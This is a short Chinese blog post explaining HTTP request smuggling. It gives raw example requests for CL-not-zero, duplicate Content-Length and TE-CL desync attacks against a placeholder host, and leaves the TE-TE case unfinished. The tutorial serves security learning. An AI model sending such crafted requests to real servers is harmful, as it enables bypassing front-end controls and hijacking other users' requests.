http走私

作者: const27 分类: All,杂七杂八的安全问题 发布时间: 2020-03-09 17:45

感觉挺鸡肋的

主要是http请求中的两个头部 transfer-encodi ng和content-length ,代理服务器和主服务器的标准不一样导致对这两个参数的认证出现了偏差


1.cl不为0

反向代理服务器在接受get请求时允许携带请求体,而主服务器不接受get请求还带请求体并自动忽略掉get请求的content-length头

我发一个包

GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n

代理服务器看了认为是一个包并直接转发到主服务器,而主服务器在处理时会认为收到了两个包。
分别为

第一个:
GET / HTTP/1.1\r\n
Host: test.com\r\n

第二个:
GET / secret HTTP/1.1\r\n
Host: test.com\r\n

2.cl-cl

包头部有两个content-length,而反向代理服务器和主服务器处理的content-length先后顺序不同,比如反向代理服务器处理第一个cl,主服务器处理第二个cl。

我发一个包

POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

反向代理服务器处理认同第一个cl认为携带体有12345\r\na,并转发到主服务器,而主服务器处理时认同第二个cl并认为携带体只有12345\r\n,把剩余的a留在了缓冲区。若此时另有一个http请求达到服务器,则服务器实际接受到的包则为
aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n

该包直接报错,形成http走私


3.cl-te/te-cl

代理和主服务器一个只处理cl头,一个只处理transfer-encoding头

发包(te-cl)

POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

(这里补充说明,te:chunked 表示判断结束的标准为0\r\n \r\n)
代理只处理te,把携带体一块发给主服务器,而主服务器只处理cl,所以只读取携带体中的12\r\n就终止了,而后面的aPOST···则会被认为是一个新的请求

cl-te与之类似


4.te-te待补(不是很懂)

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云